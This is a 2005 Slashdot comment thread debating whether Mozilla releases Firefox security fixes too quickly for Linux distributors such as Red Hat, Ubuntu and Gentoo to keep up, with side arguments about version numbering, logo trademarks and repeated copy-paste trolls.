*Wishes he could get away with wearing his slackware T-shirt to work...

Re:We tried working with Mozilla... by zerbot · 2005-05-22 03:31 · Score: 1

No.

Re:We tried working with Mozilla... by Anonymous Coward · 2005-05-22 03:32 · Score: 0

You are an idiot [...] any reasonable IT person [...] It looks like crap

Wow. If that's not flamebait, I don't know what is. Mods?

Or.. by kernelpanicked · 2005-05-22 03:33 · Score: 0

If you really need it that quick just use the release made available from mozilla.org and run it locally. Can we have some common sense please?

--
Ubuntu: If at first you don't succeed, blindly slap a sudo in front of it

Re:We tried working with Mozilla... by Anonymous Coward · 2005-05-22 03:36 · Score: 0

So if a comment is critical of Mozilla it's automatically a 'common troll?' Give me a break, dude.

Honestly by rbanffy · 2005-05-22 03:37 · Score: 3, Insightful

How long can it take for package maintainers to update the source and run the package-assembly scripts.

I mean, it is automated, isn't it?

Mozilla guys are not obligated to wait until the slowest of the crowd gets its job done. And they shouldn't treat any OS/distro differently from one another.

If Red Hat feels having up-to-the-minute RPMs is all that important, they should compensate Mozilla Foundation for the additional hassle. If not, they should wait in line just like everyone else.

--
http://www.dieblinkenlights.com

Re:Honestly by LnxAddct · 2005-05-22 05:53 · Score: 1

That is funny because Red Hat has quite a few active developers on the firefox team. Red Hat is trying to play nice, just like it does with the other OSS projects but firefox doesn't want to. Read this for a previous comment of mine to someone who didn't appreciate everything that Red Hat does for the community.
Regards,
Steve
Re:Honestly by m50d · 2005-05-22 08:54 · Score: 1

They have to test it. Unlike many people redhat believes in their product being absolutely stable, and won't release a patch, even a security one, until they have made sure that it doesn't break anything.

--
I am trolling
Re:Honestly by Nailer · 2005-05-23 01:52 · Score: 1

How long can it take for package maintainers to update the source and run the package-assembly scripts.

I mean, it is automated, isn't it?

Yea, it's real quick. Within 24 hours, as stated by Chril Ailon.

Mozilla guys are not obligated to wait until the slowest of the crowd gets its job done.

No, but it would be nice if they waited until packages were available before announcing an exploit that be used to break the machines. Its entire possible Red hat could produce a binary (and announce a problem and fix) before Moz does, but they don't - out of courtesy.

Context... Context... Context... by TigerX · 2005-05-22 03:37 · Score: 5, Insightful

This article rips Ben Gooder's words so far out of context that it is not even funny...

Here's the original sentence with the quoted portion bolded:
If security is important to you, this demonstration should show that browsers that are redistributions of the official Mozilla releases are never going to give you security updates as quickly as Mozilla will itself for its supported products.

The context of Ben's blog post was the final release of the Netscape 8.0 browser which was based on top of the Firefox 1.0.3 source code. Ben was merely pointing out that this left the Netscape users open to attack. Netscape promptly released 8.0.1 built on the Firefox 1.0.4 code.

Mozilla is fulfilling its obligation to its users by producing quality secure products, not pandering to an OSS "community" which seem more intent on arguing about every minute detail rather than change the way things are done.

To that end, Go Mozilla!

Re:Context... Context... Context... by mabhatter654 · 2005-05-22 03:57 · Score: 1, Offtopic

but again, "Netscape" is the AOL branded release...it has nothing to do with mozilla anymore execpt they always get the changes for their proprietary product. Netscape != Mozilla anymore. It's just another cheap rebranding scheme... AOL cut the Moz team loose a while ago... they've got no "responsibility" to Netscape anymore either.
Re:Context... Context... Context... by VGPowerlord · 2005-05-22 07:11 · Score: 1

The Mozilla team may not have a responsibility to AOL anymore, but lest you forget... AOL donated a lot of money and time to the Mozilla project over the years.

--
GLaDOS for President 2016! "Well here we are again. It's always such a pleasure." -- GLaDOS, 2011
Re:Context... Context... Context... by mabhatter654 · 2005-05-24 13:29 · Score: 1

And AOL ended OWNERSHIP of mozilla outright by signing a deal with MS, settling on IE as their default browser, and sending the Moz team out on their own... The "Netscape" release is just rebranded, repackaged mozilla... just like firefox packaged in any boxed linux distro...

Project management by marvin2k · 2005-05-22 03:42 · Score: 1

To me the project management of Mozilla looks messy if not broken. They make it extremely hard for people to contribute because their policies resemble those of a closed source company much more than those of open source projects. Just look at the patch review debacle that happened a while ago. If it's that hard to get code in there why would a developer even bother to waste his free time on this?

Now if that kind of tight control would allow Mozilla to keep their deadlines it would at least be explainable but given the performance in the months after the first release of Firefox I think their way of doing things needs to be changed quite a bit.

First there was the Aviary branch "crash landing" which caused a lot of bugs that weren't fixed even months after the merge. Then there was the planned 1.1 release which was originally planned for March then moved to June and I'm willing to bet they are not going to make that date either. At least the Deer Park developer release is really imminent now (Monday?).

Next is the whole Mozilla-as-a-platform thing which is something that was hyped *years* ago and yet we still don't have anything close to resembling a runtime environment. Hopefully there will be a XULRunner release soon but apparently neither Firefox nor Thunderbird will be put on top of it soon. I think most of these issues are a direct result of Mozillas bizarre desire to tightly control everything and keep the open source community pretty much locked out.

The irony is that Firefox has some exciting stuff coming up (<canvas>, svg, better extensions manager and update system) and it really hurts to imagine just how much more could be achieved if Mozilla would just open up a little more...

Re:Project management by markhb · 2005-05-22 05:30 · Score: 1

... their policies resemble those of a closed source company much more than those of open source projects.

Open Source and Bazaar development (where Bazaar is interpreted as "accepting patches from many outside sources") are not equivalent concepts. Many FLOSS projects are managed as Cathedrals, including (IIRC) most of the core FSF/GNU projects.

--
Save Maine's economy: write stuff down. All comments are exclusively my own, not my employer.

Firefox updates by ChrisJones · 2005-05-22 03:42 · Score: 1, Interesting

Something that has irked me is that I can no longer use the official firefox extension type pages.
I'm running ubuntu with firefox 1.0.2 and the later security patches are applied, but their pages still tell me I should be running 1.0.4.
Pretty stupid imo.

--
Chris "Ng" Jones
cmsj@tenshu.net
www.tenshu.net

Re:Firefox updates by mcsmurf · 2005-05-22 06:21 · Score: 1

Did your User-Agent get updated? The ubuntu people also need to do that (when giving out patches).
Re:Firefox updates by ChrisJones · 2005-05-22 21:43 · Score: 1

I'm not at all convinced that it would be sane for Ubuntu to hack their firefox packages (which are 1.0.2 with security bugfixes) to say 1.0.4 when it very plainly is not 1.0.4.

--
Chris "Ng" Jones
cmsj@tenshu.net
www.tenshu.net
Re:Firefox updates by mcsmurf · 2005-05-22 21:56 · Score: 1

As long as they they include all fixes the Mozilla Foundation does, why not? The 1.0.3 and 1.0.4 were also only Security releases, i don't think many non security-fixes went into it (but one can check if he wants).
Re:Firefox updates by ChrisJones · 2005-05-22 23:58 · Score: 1

This is the point, unless they include every patch then it is unreasonable to bump the version number. It is also unreasonable to do so because it would violate Ubuntu policy regarding stable releases.

Ubuntu only release updates to a stable version if it is a security fix or an important bug fix and this would usually be by backporting a fix. I don't doubt that between 1.0.2 and 1.0.4 that has been all that has gone into firefox and in this specific case you could argue bumping the version would be ok, but I am talking about a more generic situation.
Say that 1.0.5 changes a layout feature slightly to make it more correct, Ubuntu are probably not going to backport that, but will take the security bugs fixed by 1.0.5, so it would be unreasonable to rename their release 1.0.5.

This is a very tricky situation to resolve because there are many vendors here all trying to release off mozilla's work and stay in sync. It just seems a tad unthoughtful of their web admins not to recognise that older versions can be secure too.

--
Chris "Ng" Jones
cmsj@tenshu.net
www.tenshu.net

Red Hat not FOSS but IS a corporation by Anonymous Coward · 2005-05-22 03:43 · Score: 1, Insightful

Red Hat has no valid beef. They merely want to look good to their stockholders. Remember that Red Hat is a corporation now and is no longer FOSS.

Mozilla is doing the right thing to release to users ASAP.

Re:Red Hat not FOSS but IS a corporation by timmyf2371 · 2005-05-22 05:24 · Score: 1

Which part of Red Hat is no longer Free Open Source Software? Is their distro no longer released under the GPL?
I must not have caught the press release for that.

--

Backup not found: (A)bort (R)etry (P)anic
Re:Red Hat not FOSS but IS a corporation by Anonymous Coward · 2005-05-22 23:37 · Score: 0

We are not talking about their software, we are talking about conflicting security policies. And neither Mozillas nor RedHats security policies are GPL. I can't change RedHats security policy, and I can't change Mozillas either.

Re:We tried working with Mozilla... by Anonymous Coward · 2005-05-22 03:46 · Score: 0

Read the comment. It's obviously a troll. What could Mozilla do to corrupt an entire project? (Maybe IE with the wrong ActiveX control)

Re:We tried working with Mozilla... by Anonymous Coward · 2005-05-22 03:46 · Score: 0

And it's not the first time it trolls /.
Look at:
http://linux.slashdot.org/comments.pl?sid=150270&t hreshold=1&commentsort=0&tid=109&tid=106&mode=thre ad&cid=12598860

But Mozilla is a foundation. by Qwavel · 2005-05-22 03:51 · Score: 1

Open-source companies will sometimes play games and be uncooperative.

But Mozilla is a foundation, so why should it care whether users get its code directly from it, or through Netscape, RedHat, etc., as long the user's code is properly patched.

So, instead of encouraging users to only get the code from them, they should work with others to setup good patch processes that work for everybody.

Re:We tried working with Mozilla... by Anonymous Coward · 2005-05-22 03:52 · Score: 0

No, I don't think you understand. This is just a piece of text that contains fill in the blanks for whatever software is being discussed. I saw this exact same piece, but with Linux instead of FireFox. That's how it's a common troll.

Waiting is a security risk by rdean400 · 2005-05-22 03:55 · Score: 1

For Mozilla to wait to release security updates would increase the amount of time it takes to deliver security fixes. Mozilla's advantage is that it doesn't wait to deliver updates, so security holes can be filled quickly, unlike the competition.

corrupted project? by sum.zero · 2005-05-22 03:56 · Score: 2, Insightful

methinks you are in the wrong business if you design web-interface development apps that allow corruption of the source files due to a simple browser crash...

sum.zero

Re:corrupted project? by idonthack · 2005-05-22 04:28 · Score: 1

Agreed - it makes no sense how that would happen. Wouldn't you have to be writing to a file to corrupt it? You can't corrupt it by reading for an upload to a central server. (I assume since he had *lost* data, the only copy was on his drive, in which case the only sensible thing to do is upload. Downloading would just wipe it out.) Anyways you should make a backup before doing *anything* to valuable data - everybody knows that.

--
Why is it that when you believe something it's an opinion, but when I believe something it's a manifesto?

Windows User Here by Hangtime · 2005-05-22 04:07 · Score: 2, Insightful

I have used Mozilla for over a year now and have been VERY satisfied with the release schedule especially as it comes to security releases. I get alerted with the little icon, I press icon, I download update, restart Mozilla, done. When it comes to security updates I do not want to see the release hampered because the distros haven't built it yet because quite frankly most of the exploits out there are for Windows anyway. No, I will not be transitioning to Linux anytime soon but I do support it where I can :).

Re:Windows User Here by VGPowerlord · 2005-05-22 07:14 · Score: 1

I have used Mozilla for over a year now and have been VERY satisfied with the release schedule especially as it comes to security releases. I get alerted with the little icon, I press icon, I download update, restart Mozilla, done. When it comes to security updates I do not want to see the release hampered because the distros haven't built it yet because quite frankly most of the exploits out there are for Windows anyway. No, I will not be transitioning to Linux anytime soon but I do support it where I can :).
It isn't quite so easy when you're running as a non-Administrator (Limited) account. Firefox still allows you to click the little icon, but the installation will fail spectacularly.

--
GLaDOS for President 2016! "Well here we are again. It's always such a pleasure." -- GLaDOS, 2011
Re:Windows User Here by dedazo · 2005-05-22 10:35 · Score: 1

Except for 1.0, which had a broken notification function.
I wonder how many people are still running 1.0 out there after being sold the "perfect browser never needs patches" line.

--
Web2.0: I love when people Flickr my cuil and digg my boingboing until my google is reddit and I start to yahoo

No by Neoncow · 2005-05-22 04:09 · Score: 1

GP is advocating security through cooperation. If the exploit is not known to the public and is not being abused, developers can work together to simultaneously get patches out to a larger group of users. When they are ready, the fixes can be disclosed and everything is out in the open.
(Of course if the problem is out to the public, it should be patched as soon as possible, because paching won't aid the 'bad people' in finding out.)

Would you rather have a rushed patch or have them spend some time to do it right?

Re:We tried working with Mozilla... by zerbot · 2005-05-22 04:12 · Score: 1

The same thing was posted a few stories down with "OpenBSD 3.7".

http://developers.slashdot.org/comments.pl?sid=150 323&cid=12602399

It's been done to death.

it's simultaneous by Anonymous Coward · 2005-05-22 04:16 · Score: 0

see subject.

Why? by EdMcMan · 2005-05-22 04:20 · Score: 1

I see the need for everyone to release server type updates at the same time, but not client things like web browsers. If there is a bug for Mozilla announced and your distribution doesn't have an immediate fix, don't use it. Ta-da! Use one of the many other browsers in the meanwhile.

Re:Why? by calc · 2005-05-22 06:31 · Score: 1

You must not mean epiphany or galeon since they both use gecko. Opera isn't free software and Konqueror pulls in hundreds of MB of dependencies if you don't use KDE. So there really isn't that much choice out there. So, just use links/lynx. :)

Uncooperative by Spy+der+Mann · 2005-05-22 04:25 · Score: 1

Bwaaaaa they're uncooperative... Mozilla doesn't wait those extra days to release their patches so we can have them first... bwaaaaaaaaaaaaaa mommy!!!!

Simeltaneous? by Anonymous Coward · 2005-05-22 04:32 · Score: 0

JESUS Christ PPl. Use a spellchecker!!!

Re:PPl??? by Anonymous Coward · 2005-05-22 04:37 · Score: 0

We will start using spellcheckers once you other types of "PPl" stop using those fucking annoying acroyms and shortcuts because you're too lazy to type the entire word in!

A browser is very important by kunkie · 2005-05-22 04:41 · Score: 0

He says there is need to: 'give a brief period of time for the vendors to catch up' A browser is a critical application for the end user - the update needs to come out ASAP or else the flaw will be exploited. There is no time to waste.

All those vunerabilities... by Anonymous Coward · 2005-05-22 04:41 · Score: 0

Makes you wonder. Are the programmers of mozilla totally incompetent? Is this a fault of C and everybody should switch to garbage collected languages? How hard would it be to watch those damn buffer overflows?

I think the big problem people should realize, is that "javascript is a can of worms". Literally. And if you disable it hotmail doesn't work.

I WANT MY BROWSER to be a simple VIEWER. I DON'T WANT it to be an ENTIRE PLATFORM. God Damn stupendus inventions.

Bad source releases? WTF? by Cid+Highwind · 2005-05-22 04:48 · Score: 1

What's wrong with mozilla source tarballs? Gentoo seems to be able to get every source release working on their distro within a day or so of mozilla.org releasing the code. Maybe the problem is between your keyboard and chair...

--
0 1 - just my two bits

Re:Bad source releases? WTF? by Anonymous Coward · 2005-05-22 05:49 · Score: 0

No, Gentoo is one of the distros that repeatedly has to hold up security releases because of the broken tarballs. Hence why you tend to see firefox-bin releases straight away but compiled firefox being hugely laggy -- it's not down to ebuild problems, it's because the source simply isn't all there to be compiled.

Re:We tried working with Mozilla... by RautenkranzMT · 2005-05-22 04:52 · Score: 2, Informative

This is not new, persay... however, it is getting very annoying.

--
The cow goes "tink"

The linux distributions myth by Anonymous Coward · 2005-05-22 04:58 · Score: 0

If you look deeper, the real problem is that distributions like Redhat are messing with software they didn't write or maintain. What you get in a distribution is not the real Firefox - or the real glibc or apache. It's a slightly modified version, allways behind and never working the same with the original or with same software in a different distro.

I think Mozilla is doing a great thing of taking responsibility for their binary distribution for linux, just like they do for Windows and Mac.

A plugin that has a native component will probably not work the same if a distro uses different compiler or flags, or if the layout is different.

It is true that linux lacks the ability to upgrade binary packages from their home sources - you can upgrade consistently only the distro RPMs, so you're forced to manually upgrade anything you get from the project maintainers. This is also a consequence of distributions making people believe they are the center of the universe - and trying to lock in.

Re:Why is this a bad thing? by spitefulcrow · 2005-05-22 05:06 · Score: 2, Informative

mozilla-firefox-1.0.4 hit the Gentoo tree the same day the official 1.0.4 version was released and had been moved to stable on most architectures by the beginning of the next day. The binary packages (mozilla-firefox-bin-1.0.4) was in the stable tree within two days, same timing as Debian.

--
Sorry, my karma just ran over your dogma.

Re:We tried working with Mozilla... by Homology · 2005-05-22 05:15 · Score: 1

ozilla isn't obligated to offer you support. You are an idiot for firing an employee simply over a small software issue.

It's a no-brain-no-headache copy-paste-failure troll you replied to. You'll see a variation of this post on the Slashdot story for OpenBSD 3.7 release.

What is this way "other OSS projects" behave? by argent · 2005-05-22 05:44 · Score: 1

Red Hat is basically a collection of several hundred separate OSS projects flying in close formation, each maintained by a separate team and integrated into an RPM for the installer to slide into place. Some of them are basically straight copies of the original, some of them are specially configured by Red Hat, some are more or less heavily modified. They are all different versions, and by no means are they all tracking the absolute latest release.

There are three or four major Linux releases like this, along with a dozen variants. All of these are "Vendors" that use OSS, as are the BSDs, commercial UNIX vendors, Microsoft, and Apple.

Most "other OSS projects" don't even know what versions of their software are being repackaged by vandors. In the case of commercial vendors, it's not even easy to find out. As far as I know yu can't even get a look-see into RHN without a license, and that can cost thousands of dollars.

There are really only a few a few high profile OSS projects with the time and money to do more than just stay on top of their own releases, and it's not at all clear that they should be obligated to do so. They're open source! They release code and make security announcements and if YOU care whether you're on top of the security of your software YOU monitor it and if YOU have some kind of security guarantees for your customers it's up to YOU to implement the tools to do it.

In general the assumption I've always made is that if I'm using OSS it's my responsibility to track it and stay on top of its security fixes... and make my own fixes if I think they're being lax. Having the ability to do that is one of the reasons you use OSS in the first place.

So...

If I download the Firefox source and do a G4-optimised build, I don't expect them to give me a heads-up ahead of time for a security fox. I'm not even paying for it: I'm downloading a copy of Firefox and that doesn't obligate them to me. Well, you know, unless Red Hat has explicitly established a tighter relationship with them than that (say, by paying for some kind of update service), they're not obligated to treat Red Hat any differently than any other person or group who's tracking their code base.

Other OSS projects don't. They don't have TIME to.

Re:What is this way "other OSS projects" behave? by steve_l · 2005-05-22 06:48 · Score: 1

This is a really good summary of OSS projects.

Lots of minor projects get reincorporated into distro, without any clue what changes were made, and yet are still expected to field bugreps against them.

At the same time, distros need to identify projects that are significant, and get involved in the dev list/planning, if only to get some kind of presence in the project.

For example, the Apache Ant project took input from the eclipse and netbeans teams over their release schedules, and once we'd determined that Ant1.7 wouldnt cut it, did a 1.6.4 release for them: http://wiki.apache.org/ant/Ant17/Planning

One concern I have about this downstream involvement is that it creates extra schedule pressure. A project that releases when it wants can be more relaxed about schedules and release when happy. When vendor driven, you are more prone to release to meet some random milestone, rather than when the quality is best. That means shorter beta tests, possibly lower standards all round. Which can't be good.

Because the logo is not GPL by ThreeDayMonk · 2005-05-22 05:59 · Score: 1

The program is licensed under the GPL, with all that entails. The logo, however, is not. Thus, I can hack and rerelease Firefox to my heart's content, but I can't use Mozilla's logo on it.

In the same way, RedHat distributes a branded operating system that uses a lot of GPL software. But you or I cannot just make our own "RedHat Linux" based on it - not without feeling the warm breath of lawyers on our necks. There are, nonetheless, repackaged and renamed operating systems based on RedHat, such as CentOS (who were recently enjoined from using trademarks of said "prominent North American Enterprise Linux vendor" on their site).

Although I find it annoying that, for example, Ubuntu's version of Firefox comes with a substandard icon as a result, the concept of the logo as a kind of proof of authenticity seems like a reasonable idea - it makes it clear whether or not a particular version comes from the Mozilla Organization or not.

--
If your comment title says 'Re: Foo', I'm not likely to read it.

Re:Because the logo is not GPL by Anonymous Coward · 2005-05-22 06:26 · Score: 0

Mozilla Firefox is a monolithic program, so the GPL applies to all its components. That is a key difference. The GPL requires modifications to be clearly labelled, but this requirement does not extend beyond the source and runtime author information.
Re:Because the logo is not GPL by Anonymous Coward · 2005-05-25 06:13 · Score: 0

Trademark law stops Ubuntu from shipping with the launcher's icon set to the firefox icon, but what is stopping you from using the logo you want for the launcher?

Re:Why is this a bad thing? by smartdreamer · 2005-05-22 06:13 · Score: 1

Excellent point. That's where source distros shine.
Long live Gentoo. :)

Who cares about Distro Packages, Compile your own! by v3xt0r · 2005-05-22 07:15 · Score: 0

I don't know about y'all, but I hate commercial linux distros, especially redhat.

I'd prefer to compile software from the source, rather than install some pre-config'ed package.

Mozilla is doing just fine, but I think it has the same overall outlook... 'if you're that stupid to use a package manager, then you gots to wait'.

--
the only permanence in existence, is the impermanence of existence.

What gets me ... by Anonymous Coward · 2005-05-22 08:11 · Score: 0

... is that this is not a common spelling error. I wonder where in the English-speaking world "simul" is pronounced "saim'l" instead of "saimool"?

Some thoughts from an OSS developer by Anonymous Coward · 2005-05-22 08:20 · Score: 0

As an OSS developer and someone who has worked in SQA, the way I handle security and other critical changes is as follows:

I release the security change as a patch
I make sure the patch works against a one-year-old version of my program and the current stable release of my program
I let people on the mailing list know that a given patch is critical

Now, my project is essentially a one-man project, so I just post patches to the mailing list instead of using CVS. I can't talk about big projects; however it makes life a lot easier for distribution makers to have security updates be a single as small as possible patch that the distro guys can add so that they can fix critical security bugs without doing any other changes.

I don't understand why all of the internationaization files need to be updated when a security patch is released in Firefox (I waited a few days before the Latin American Spanish version of Firefox 1.0.4 was released before updating)

Re:Who cares about Distro Packages, Compile your o by DA-MAN · 2005-05-22 08:58 · Score: 1

Mozilla is doing just fine, but I think it has the same overall outlook... 'if you're that stupid to use a package manager, then you gots to wait'.

Only the sith deal in absolutes!

--
Can I get an eye poke?
Dog House Forum

But they're really good about tagging CVS by petard · 2005-05-22 09:48 · Score: 1

and their CVS server is always available to the public. Just pull that instead of a tarball. Get the tag you want if you'd like a build corresponding to their release. It's really quite a bit easier than the tarball anyway. I've never had a problem with a tagged release from CVS not working.

--
.sig: file not found

Delays tiny -read the example given in the article by Nailer · 2005-05-22 09:52 · Score: 1

The last time Red Hat had notification of a bug at the same time as the Mozilla folks, the packages were updated within 20 minutes (RHEL) to 24 hours (Rawhide).

That ain't a delay in anyone's definition.

No, you fuck off. by Nailer · 2005-05-22 09:55 · Score: 1

If you don't release a fix ASAP then you're knowingly risking the security of peoples computers.

More people used packaged distro software than tarballs. If you don't notify the vendor ASAP you're risking security of people's computers.

Neither... by Stradivarius · 2005-05-22 10:26 · Score: 2, Insightful

The real problem here is not that Mozilla is releasing security fixes too quickly, or that the distros aren't keeping up.

The real problem is that a Linux application needs to be modified in some way by the operating system vendor before end-users of that operating system can use it. Think about that for a minute. When's the last time you had to go through Microsoft to download the latest copy of a 3rd-party application?

One of the selling points of OSS development has always been its decentralized nature. But here we are creating a centralized, artificial bottleneck by requiring that applications be customized by the operating system vendor before it can be used on that system. Talk about inefficient.

There's no reason why the application vendor should be exposed to differences in distributions. It's poor encapsulation, from a software engineering perspective, and essentially means that "Linux" is not a platform you can develop to. RedHat's a platform, SuSE's a platform, and there a million other Linux-based platforms, but no one "Linux platform".

This sort of thing hurts everyone. End-users don't have the ease of use and speed of security updates they could with a common platform. Application vendors have to wait for the OS vendor to repackage their application before it'll work on that platform. Distro vendors have this huge recurring workload of having to repackage applications.

Why don't the distros just provide a common interface that application vendors can use to for installation? Hiding the distribution-specific differences behind an interface would seem to make everyone's jobs easier.

Have it display "click here, a security patch is.. by Anonymous Coward · 2005-05-22 11:11 · Score: 0

"Click here, a official security patch is available"

Have the program only display that if the message is signed properly by verisign.

Now here's the good part, let ANY site post the security warning in it's metadata. Then if the user doesn't want it to check into mozilla, the user can still get the message.

DON'T PATENT THIS, IT'S NOW PUBLIC DOMAIN by posting it here on slashdot.

Now the big question is, why the hell can't you rocket scientists think this stuff up yourself?

Now it doesn't matter if red hat releases a "old" version or not.

Re:Honestly - it's better to automate by bit01 · 2005-05-22 12:13 · Score: 1

How long can it take for package maintainers to update the source and run the package-assembly scripts. I mean, it is automated, isn't it?

Yes. A good way to reduce even more the "when to notify" problem may be an automated security patch distribution protocol. Vendors sign up for security patches that they can then use to automatically create their own repackaged security updates in minutes. Vendors then vet in a few minutes (if at all) or whatever schedule they want. This should be much faster than a blackhat could get an exploit out and make the window of vulnerability small.

The security patch distribution protocol could be as simple as a defined email body, subject and attributes (priority, impact, affects-binary-directory-structure, may-affect-branding etc.) with OSS project public key signing. What types of patches are distributed this way would be precisely defined so vendors could automate with confidence. Optionally, if the vulnerability/patch isn't in the wild yet the contents could be encrypted so only trusted vendors could read it.

Much better to automate to reduce the need for a delay than to create a deliberate delay.

---

Are you thinking long term? Saving money by buying-of-the-shelf in the short term doesn't necessarily mean you'll save money in the long term.

Re:We tried working with Mozilla... by bit01 · 2005-05-22 12:16 · Score: 1

It's a no-brain-no-headache copy-paste-failure troll you replied to.

Probably not a troll, a marketing parasite. The story's likely to be an outright lie trying to create FUD about using OSS.

---

Modern marketing - a great substitute for a quality product

Like Watching Politicians by Anonymous Coward · 2005-05-23 14:29 · Score: 0

This is like watching politicians. A never ending stream of complaints about each other. Wa wa IE this, wa wa FF that. If I was your Daddy I'd spank you all and send you to bed with no supper.

Slashdot Mirror

Mozilla Uncooperative With OSS Groups on Security?

239 comments